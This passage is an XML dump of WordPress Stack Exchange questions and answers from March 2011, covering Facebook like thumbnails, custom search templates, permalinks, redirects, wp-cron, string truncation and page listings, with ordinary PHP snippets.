  <row Id="11066" PostTypeId="2" ParentId="10833" CreationDate="2011-03-03T19:38:29.630" Score="0" ViewCount="" Body="&lt;p&gt;First thing I think about when I hear &quot;password&quot; in the issue is possibility of a hack. There are plenty of legit things that can go wrong, but this is always worth checking for with scrutiny.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, there are not many details to go by... But it seems to me that basic distinction between when you do and do not experience the issue is fact of posting large stuff in form. This is something that can be easily caused by poorly or overly agressively configured hosting settings, such as &lt;code&gt;mod_security&lt;/code&gt;. At my hosting I had to open ticket and ask to whitelist several WP core files because of similar (but milder) issues with posting.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-03T19:38:29.630" />
  <row Id="11067" PostTypeId="1" AcceptedAnswerId="11068" CreationDate="2011-03-03T19:48:51.867" Score="1" ViewCount="824" Body="&lt;p&gt;i have some difficulties with the new Facebook like feature. usually, each one of my &lt;a href=&quot;http://yeho.co.il&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt; post has an image in it. when i use the facebook share feature everything is going well: it lets me choose as a thumbnail between the images embedded in my post and in the description it shows the entire first paragraph (or at least most of it). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;recently i've added the new &lt;a href=&quot;http://mashable.com/2011/02/27/facebook-like-button-takes-over-share-button-functionality/&quot; rel=&quot;nofollow&quot;&gt;facebook like&lt;/a&gt; feature to my blog but i can't make it behave like the share feature - when i like a post it doesn't use the post embedded image as a thumbnail. i managed to to make it display a default thumbnail by inserting this to header.php -  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:tag name&quot; content=&quot;tag value&quot;/&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however, this is is only a partial solution. is there a way to make it use the post image as a thumbnail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in addition to the thumbnail issue, the like shown on my news feed doesn't grab the first paragraph as a description but only the 85 characters of it. is there a way to make it show the whole paragraph or at least more characters?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="3678" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-04-10T16:56:59.830" LastActivityDate="2011-04-10T16:56:59.830" Title="facebook like - image display and description" Tags="&lt;facebook&gt;" AnswerCount="1" />
  <row Id="11068" PostTypeId="2" ParentId="11067" CreationDate="2011-03-03T19:51:43.767" Score="1" ViewCount="" Body="&lt;p&gt;Use my plugin - &lt;a href=&quot;http://wordpress.org/extend/plugins/facebook-like-thumbnail/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/facebook-like-thumbnail/&lt;/a&gt; or the code manually in your functions.php that I have here on my post with explanation - &lt;a href=&quot;http://blog.ashfame.com/2011/02/wordpress-plugin-fix-facebook-like-thumbnail/&quot; rel=&quot;nofollow&quot;&gt;http://blog.ashfame.com/2011/02/wordpress-plugin-fix-facebook-like-thumbnail/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; It will use the first image of your post. Also Facebook will refresh all of your pages in max 24hours, so if you need to force refresh a page manually, try the linter tool - &lt;a href=&quot;https://developers.facebook.com/tools/lint/&quot; rel=&quot;nofollow&quot;&gt;https://developers.facebook.com/tools/lint/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Regarding the description, if you have a meta named description which you should, because that way you can tell search engines the description of the current page, Facebook will pick that up. Its good both ways, as this is the text people will see below title both on search engines, and on Facebook.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-03-03T20:04:57.763" LastActivityDate="2011-03-03T20:04:57.763" CommentCount="2" />
  <row Id="11069" PostTypeId="1" AcceptedAnswerId="11077" CreationDate="2011-03-03T19:59:35.200" Score="0" ViewCount="226" Body="&lt;p&gt;So I have a section on my site that specifically searches a custom post type for YouTube videos. I'm absolutely able to search the custom type. However, I'm unsure how to create a search page that has custom formatting geared toward this type of search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a custom loop-youtube.php and modified within search.php &lt;code&gt;get_template_part( 'loop');&lt;/code&gt; to &lt;code&gt;get_template_part( 'loop', 'youtube');&lt;/code&gt; however, it affects the search results globally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to create a custom search.php page for a specific post_type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-03-04T17:15:42.727" Title="Custom post_type search pages" Tags="&lt;custom-post-types&gt;&lt;template&gt;&lt;search&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="11071" PostTypeId="1" AcceptedAnswerId="11073" CreationDate="2011-03-03T20:10:41.550" Score="2" ViewCount="253" Body="&lt;p&gt;I hate the built-in WYSWIG editor for WordPress. (EDIT: Editors of the sites I support hate it, which in turn makes more work for me. Hence, I hate it.) I know there are some alternatives out there, but I'm curious what the more functional and usable ones are?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issues that I hear:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The text auto formatting either a)&#xA;adds html or b) strips html. This is&#xA;annoying.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The view within the preview section&#xA;doesn't use the stylesheets of the&#xA;web site itself, so it's not really&#xA;WYSIWYG&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2011-03-03T22:28:44.270" LastActivityDate="2011-03-04T12:20:04.297" Title="What are the better WYSIWYG post editor replacement alternatives?" Tags="&lt;wysiwyg&gt;&lt;visual-editor&gt;&lt;post-editor&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" />
  <row Id="11072" PostTypeId="1" CreationDate="2011-03-03T20:38:05.380" Score="2" ViewCount="151" Body="&lt;p&gt;my post type = singers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;post_type_base_url = singer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cat_tax_base_url = genre&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With custom post type permalink plugin I could set it to&#xA;/singer/%genre%/%singers%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want to set this structure as default permalink using a function.&#xA;I don't want to use the  custom post type permalink plugin because it screw up sometimes on its own eg /post_type/singer/%genre%/%singers%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me some ideas or links to some tutorials?&lt;/p&gt;&#xA;" OwnerUserId="3615" LastActivityDate="2011-08-16T17:25:28.537" Title="Define permalink for Custom Post Type" Tags="&lt;custom-post-types&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="11073" PostTypeId="2" ParentId="11071" CreationDate="2011-03-03T20:41:27.963" Score="3" ViewCount="" Body="&lt;p&gt;when one of my clients have doesn't like the TinyMCE editor i add the &lt;a href=&quot;http://wordpress.org/extend/plugins/fckeditor-for-wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;Dean's FCKEditor For WordPress&lt;/a&gt; plugin that integrates the ckeditor and install the office 2003 skin for it so they find it easier to use.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-03T20:41:27.963" />
  <row Id="11074" PostTypeId="2" ParentId="11055" CreationDate="2011-03-03T20:48:29.513" Score="0" ViewCount="" Body="&lt;p&gt;How about just clearing the &lt;code&gt;orderby&lt;/code&gt; with a filter? Right before you query your posts, put in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('posts_orderby', '__return_false');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, after your loop is done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter('posts_orderby', '__return_false');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason for removing the filter again is in case you have other loops on the page (such as from widgets) that will need their normal explicit ordering.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-03T20:48:29.513" CommentCount="3" />
  <row Id="11075" PostTypeId="2" ParentId="5777" CreationDate="2011-03-03T20:55:40.357" Score="0" ViewCount="" Body="&lt;p&gt;Another point to consider: Speed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !class_exists('cccYourClassName') )  &#xA;// VERSUS  &#xA;if ( !function_exists('ccc_your_function_name') )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After a short look/print out i found ~1.700 internal functions and ~1.400 user functions = ~3.100/3.200 functions VS. ~250 Classes. I guess this says the most about how much a look up would need. If you call for &lt;code&gt;!function_exists('')&lt;/code&gt; on about 50-100 functions in your theme... just set a timer for one and then start doing some math. Even if it's not OOP it's a good way to make code   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) reuseable&lt;br&gt;&#xA;2) maintainable&lt;br&gt;&#xA;3) exchangeable&lt;br&gt;&#xA;4) little faster  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you take a look at different classes floating around in the web that help you doing meta boxes, widgets, etc. fast, then it's good to use a controller like @toscho mentioned, because you can just plug classes out and in and just replace some lines in the controller that handles your classes.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-03T20:55:40.357" />
  <row Id="11077" PostTypeId="2" ParentId="11069" CreationDate="2011-03-03T21:14:23.413" Score="2" ViewCount="" Body="&lt;p&gt;How are you restricting the search to your custom post type? If you are doing it by passing an additional argument, i.e. &amp;amp;type=myCustomPostType, you could use a conditional test, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_GET['type'] &amp;amp;&amp;amp; $_GET['type'] == 'myCustomPostType')):&#xA;  get_template_part('loop','youtube');&#xA;else:&#xA; get_template_part(loop);&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3684" LastActivityDate="2011-03-03T21:14:23.413" CommentCount="4" />
  <row Id="11078" PostTypeId="1" CreationDate="2011-03-03T21:39:56.587" Score="0" ViewCount="259" Body="&lt;p&gt;So basically I have a WordPress page called games. Within this page I have a list of custom post type posts. Using a form and some $_GET magic, the user is able to filter the posts based on tags, as well as, first letter in the title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The base url for the page is:&#xA;localhost/gamesite/games/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL for the filter looks like this:&#xA;localhost/gamesite/games/?genre=audio-and-video&amp;amp;platform=ps3&amp;amp;alpha=A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The desired URL structure should look like this:&#xA;localhost/gamesite/games/audio-and-video/ps3/?alpha=A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking to use the native WordPress API to set these rules, instead of hacking the htaccess file. After reading several posts, I am unable to create any working form of the desired URL structure. More importantly than having the end code, I would like to learn how this process works. Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3686" LastEditorUserId="5669" LastEditorDisplayName="" LastEditDate="2011-07-02T09:34:13.800" LastActivityDate="2011-07-02T09:34:13.800" Title="Custom rewrite rules for a page with GET variables?" Tags="&lt;rewrite-rules&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11079" PostTypeId="2" ParentId="11078" CreationDate="2011-03-03T21:45:01.000" Score="1" ViewCount="" Body="&lt;p&gt;Here's a nice explanation of how rewriting is done in WP:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, might want to take a look at similar questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/609/writing-custom-rewrite-rules-that-incorporate-category-for-custom-post-types&quot;&gt;Writing Custom Rewrite Rules that Incorporate Category for Custom Post Types?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-03T21:45:01.000" />
  <row Id="11080" PostTypeId="1" CreationDate="2011-03-03T21:50:06.020" Score="0" ViewCount="134" Body="&lt;p&gt;I'm a bit lost on how to handle this redirect requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;www.domain-B.com parked on www.domain-A.com  &lt;/li&gt;&#xA;&lt;li&gt;So, requests for www.domain-B.com/page1 resolve to www.domain-A.com/page1 and so on&lt;/li&gt;&#xA;&lt;li&gt;So far so good&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However I would like one exception to this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If user requests the root of www.domain-B.com, I would like them to go to www.domain-A.com/pageX&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So everything works as normal with a parked domain &lt;em&gt;except&lt;/em&gt; when a user goes to the root url of the parked domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the redirect plugin for WP but when redirecting www.domain-B.com to www.domain-A.com/pageX it actually redirects www.domain-A.com to that page as well. (because its properly parked I guess!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any advice.&lt;/p&gt;&#xA;" OwnerUserId="2924" LastActivityDate="2011-03-03T22:40:05.713" Title="Parked domain redirect" Tags="&lt;redirect&gt;" AnswerCount="1" />
  <row Id="11081" PostTypeId="2" ParentId="11080" CreationDate="2011-03-03T22:01:27.633" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@user2924:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;'template_redirect'&lt;/code&gt; hook; put the following in your theme's 'functions.php' file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'template_redirect', 'yoursite_template_redirect' );&#xA;function yoursite_template_redirect() {&#xA;  if (strtolower($_SERVER['HTTP_HOST'])=='www.domain-b.com')&#xA;    wp_safe_redirect('http://www.domain-a.com/pagex'.$_SERVER['REQUEST_URI']);&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-03T22:40:05.713" LastActivityDate="2011-03-03T22:40:05.713" CommentCount="8" />
  <row Id="11083" PostTypeId="1" AcceptedAnswerId="11131" CreationDate="2011-03-03T22:34:03.720" Score="0" ViewCount="133" Body="&lt;p&gt;I'm working on a BackPress project where I need to schedule cron tasks. The cron_uri for BP is stored in options, rather than hardcoded as it is in WP core. I've tried setting the option to &lt;strong&gt;mysite.com/wp-cron.php&lt;/strong&gt; (where &lt;strong&gt;wp-cron.php&lt;/strong&gt; is essentially a copy of the same file from WordPress, modified to include only the relevant files to my purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, when this address is called from the &lt;a href=&quot;http://phpxref.ftwr.co.uk/backpress/includes/functions.wp-cron.php.source.html#l168&quot; rel=&quot;nofollow&quot;&gt;wp_cron()&lt;/a&gt; function, it returns the following fsockopen error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;fsockopen() &lt;strong&gt;[function.fsockopen]&lt;/strong&gt;:&#xA;  unable to connect to :80&#xA;  (php_network_getaddresses: getaddrinfo&#xA;  failed: Name or service not known) in&#xA;  &lt;strong&gt;/home/gad/public_html/backpress/class.wp-http.php&lt;/strong&gt;&#xA;  on line 646&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can open the cron uri directly using fsockopen and it doesn't return any error. As best as I can figure out, the problem is somewhere in the HTTP Transport API, maybe in the &lt;a href=&quot;http://phpxref.ftwr.co.uk/backpress/includes/class.wp-http.php.source.html#l180&quot; rel=&quot;nofollow&quot;&gt;WP_http-&gt;request()&lt;/a&gt; function, where BackPress checks the &lt;code&gt;cron_uri&lt;/code&gt; against the &lt;code&gt;application_uri&lt;/code&gt; option, to see if the request is a local one or not (and possibly treat the different requests differently?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely enough, if I just set the &lt;code&gt;cron_uri&lt;/code&gt; to my home url, it works fine - I can intercept the request based on the GET request and include wp-cron.php before outputting anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mainly confused as to why wp_remote_post doesn't seem to work with this file, as it seems to work with most everything else I've tried to do with it.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-04T12:08:33.323" Title="Using wp-cron in backpress - problems with wp_remote_post, fsockopen error" Tags="&lt;http&gt;&lt;backpress&gt;&lt;wp-remote-request&gt;" AnswerCount="1" />
  <row Id="11085" PostTypeId="1" AcceptedAnswerId="11089" CreationDate="2011-03-03T22:34:54.457" Score="1" ViewCount="122" Body="&lt;p&gt;I'm using custom fields to pull a secondary description. I'd like to use the built in WordPress truncate but can't seem to figure it out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$desc = get_post_meta($post-&amp;gt;ID, &quot;youtube-desc&quot;, true);&#xA;echo '&amp;lt;p&amp;gt;' . $desc . '&amp;lt;/p&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:15:32.487" LastActivityDate="2011-06-07T14:15:32.487" Title="Truncating custom fields" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;encoding&gt;" AnswerCount="1" />
  <row Id="11086" PostTypeId="2" ParentId="10849" CreationDate="2011-03-03T23:20:49.680" Score="1" ViewCount="" Body="&lt;p&gt;I solved the problem... my source blog was private i.e. required password... I made it public for couple of minutes, and importer plugin did it's job properly!&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2011-03-03T23:20:49.680" />
  <row Id="11087" PostTypeId="2" ParentId="9644" CreationDate="2011-03-03T23:26:21.690" Score="1" ViewCount="" Body="&lt;p&gt;Our issue had to do with our host and the limited capabilities of their servers.  We moved everything to a new account where our client had originally registered his domain (hostgator) and it worked great.  &lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2011-03-03T23:26:21.690" />
  <row Id="11088" PostTypeId="1" CreationDate="2011-03-03T23:36:19.963" Score="0" ViewCount="149" Body="&lt;p&gt;I am trying to design a nice drilldown/breadcrumb for a site I am building and I am running into trouble coming up with a solution or implementing it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially this is what I need to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a list of categories that I want to be able to have sort of 'duplicated' but nested separately amongst a list of 'header' groups.  I have a several different types of content as well that would be handled by post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My though is that I need to assign my 'header groups' to taxonomies, and then just write the full category tree once.  However I'm not sure how to have wordpress &quot;hold on&quot; to the taxonomy value while moving through a variety of parent/child categories and content.  I basically want it to 'hold' on to that taxonomy until the user selects a new one.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also not really sure if this is the best solution, so if anyone has any thoughts on what might work better that would be great too!  Thanks!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I want to give a more detailed idea of what I'm looking for.  Let's say I'm setting up a database for a number of small cities in an area and list the services they provide.  Each City has the same list of service 'types' or categories that they can enter info into.  But when viewing down into the site, via category pages etc, the site needs to 'hold' that city value without making the city an actual part of the category hierarchy (which would force one to make each set of services into a tree with the city at the top, and having a lot of repeat categories - unless I am misunderstanding the best way to organize this kind of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So cities like - Syracuse, Buffalo, Rochester, Albany etc are the &quot;header&quot; taxonomies and then in the category hierarchy are things like;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Education Services&#xA;-Universities&#xA;-Vocational Schools&#xA;-High Schools&#xA;City Services&#xA;-Waste Removal&#xA;-Government&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on and so forth.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditorDisplayName="" LastEditDate="2011-03-05T18:57:09.823" LastActivityDate="2011-03-05T18:57:09.823" Title="Trying to design nice category drilldown with one &quot;held&quot; taxonomy and a repeatable list of categories" Tags="&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;breadcrumb&gt;&lt;the-taxonomies&gt;" CommentCount="3" />
  <row Id="11089" PostTypeId="2" ParentId="11085" CreationDate="2011-03-03T23:46:23.233" Score="1" ViewCount="" Body="&lt;p&gt;See the &lt;a href=&quot;http://wordpress.org/support/topic/plugin-taxonomy-short-description-multibyte-support-and-breaks-within-words&quot; rel=&quot;nofollow&quot;&gt;discussion for Taxonomy Short Description&lt;/a&gt; for a better way to shorten a string. I’m not aware of a WP function that is getting truncation right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code based on the linked discussion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Shortens an UTF-8 encoded string without breaking words.&#xA; *&#xA; * @param  string $string     string to shorten&#xA; * @param  int    $max_chars  maximal length in characters&#xA; * @param  string $append     replacement for truncated words.&#xA; * @return string&#xA; */&#xA;function utf8_truncate( $string, $max_chars = 200, $append = &quot;\xC2\xA0…&quot; )&#xA;{&#xA;    $string = strip_tags( $string );&#xA;    $string = html_entity_decode( $string, ENT_QUOTES, 'utf-8' );&#xA;    // \xC2\xA0 is the no-break space&#xA;    $string = trim( $string, &quot;\n\r\t .-;–,—\xC2\xA0&quot; );&#xA;    $length = strlen( utf8_decode( $string ) );&#xA;&#xA;    // Nothing to do.&#xA;    if ( $length &amp;lt; $max_chars )&#xA;    {&#xA;        return $string;&#xA;    }&#xA;&#xA;    // mb_substr() is in /wp-includes/compat.php as a fallback if&#xA;    // your the current PHP installation doesn’t have it.&#xA;    $string = mb_substr( $string, 0, $max_chars, 'utf-8' );&#xA;&#xA;    // No white space. One long word or chinese/korean/japanese text.&#xA;    if ( FALSE === strpos( $string, ' ' ) )&#xA;    {&#xA;        return $string . $append;&#xA;    }&#xA;&#xA;    // Avoid breaks within words. Find the last white space.&#xA;    if ( extension_loaded( 'mbstring' ) )&#xA;    {&#xA;        $pos   = mb_strrpos( $string, ' ', 'utf-8' );&#xA;        $short = mb_substr( $string, 0, $pos, 'utf-8' );&#xA;    }&#xA;    else&#xA;    {&#xA;        // Workaround. May be slow on long strings.&#xA;        $words = explode( ' ', $string );&#xA;        // Drop the last word.&#xA;        array_pop( $words );&#xA;        $short = implode( ' ', $words );&#xA;    }&#xA;&#xA;    return $short . $append;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Test&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print utf8_truncate( 'ööööö ööööö' , 10 );&#xA;// prints 'ööööö …'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add the function to your &lt;code&gt;functions.php&lt;/code&gt; and change your code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;p&amp;gt;' . utf8_truncate( $desc ) . '&amp;lt;/p&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-03T23:46:23.233" CommentCount="1" />
  <row Id="11090" PostTypeId="2" ParentId="10881" CreationDate="2011-03-04T00:20:02.897" Score="2" ViewCount="" Body="&lt;p&gt;This seems to work for getting the value into the query, not sure about whether it pulls valid results though..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'meta_query' =&amp;gt; array(&#xA;    array(&#xA;        'key' =&amp;gt; 'some_key',&#xA;        'value'   =&amp;gt; array(''),&#xA;        'compare' =&amp;gt; 'NOT IN'&#xA;    )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not had time to create fields to test the results, but i've been watching queries i've worked with today and noticed &lt;code&gt;NOT IN&lt;/code&gt; will happily take an empty array.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-04T00:20:02.897" CommentCount="0" />
  <row Id="11091" PostTypeId="1" AcceptedAnswerId="11093" CreationDate="2011-03-04T00:26:04.107" Score="0" ViewCount="126" Body="&lt;p&gt;I'm wondering how to write a list of sub-pages of actually visited page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have 2 pages and 3 sub-pages for each:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Colors [page]&#xA;- Red [child of Colors - subpage]&#xA;- Blue [child of Colors - subpage]&#xA;- Green [child of Colors - subpage]&#xA;&#xA;Numbers [page]&#xA;- One [child of Numbers - subpage]&#xA;- Two [child of Numbers - subpage]&#xA;- Three [child of Numbers - subpage]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when user visits &quot;Colors&quot; page then my code outputs Red/Blue/Green and if he does vist Numbers it shows One/Two/Three.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure wp_list_pages will do the thing easy, but I'm not sure about parameters.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-03-04T04:31:14.893" Title="Listing all sub-pages?" Tags="&lt;php&gt;&lt;functions&gt;&lt;pages&gt;&lt;list&gt;&lt;listing&gt;" AnswerCount="3" />
  <row Id="11092" PostTypeId="2" ParentId="10917" CreationDate="2011-03-04T00:30:58.253" Score="0" ViewCount="" Body="&lt;p&gt;I believe @One Trick Pony was right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shortcode widgets have no ID, so I've found a way around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly I used PHP rand function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$var = rand();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then added the &quot;var&quot; to the ID, so it doesn't collide with other shortcodes calling the same widget (each one has different random number at the end of the ID):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;myWidget-&amp;lt;?php echo $var?&amp;gt;;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-03-04T00:30:58.253" />
  <row Id="11093" PostTypeId="2" ParentId="11091" CreationDate="2011-03-04T00:36:33.003" Score="1" ViewCount="" Body="&lt;p&gt;easy just pass it the $id off which to get the children&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  global $id;&#xA;  wp_list_pages(&quot;title_li=&amp;amp;child_of=$id&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;of if you want in the loop then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; wp_list_pages(&quot;title_li=&amp;amp;child_of=$post-&amp;gt;ID&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-04T00:36:33.003" CommentCount="1" />
  <row Id="11094" PostTypeId="1" AcceptedAnswerId="11097" CreationDate="2011-03-04T00:54:53.640" Score="0" ViewCount="101" Body="&lt;p&gt;One of my posts has the following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This is a test post. Nothing more,&#xA;nothing less.&#xA;Three lines before the jump&#xA;&amp;lt;!--more--&amp;gt;&#xA;And a couple of more lines&#xA;after the jump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note&lt;/em&gt;: these were written as you see them, in the WP editor, using the HTML tab - so we have no hidden &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; or anything else going on in the post content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Also&lt;/em&gt;: No Manual Excerpt was defined for this post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use &lt;code&gt;the_content()&lt;/code&gt;, I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;This is a test post. Nothing more,&amp;lt;br /&amp;gt; &#xA;nothing less.&amp;lt;br /&amp;gt; &#xA;Three lines before the jump&amp;lt;/p&amp;gt; &#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;...#more-1336&quot; class=&quot;more-link&quot; title=&quot;Continue Reading&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If, however, I use &lt;code&gt;echo get_the_excerpt();&lt;/code&gt; I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This is a test post. Nothing more, nothing less. Three lines before the 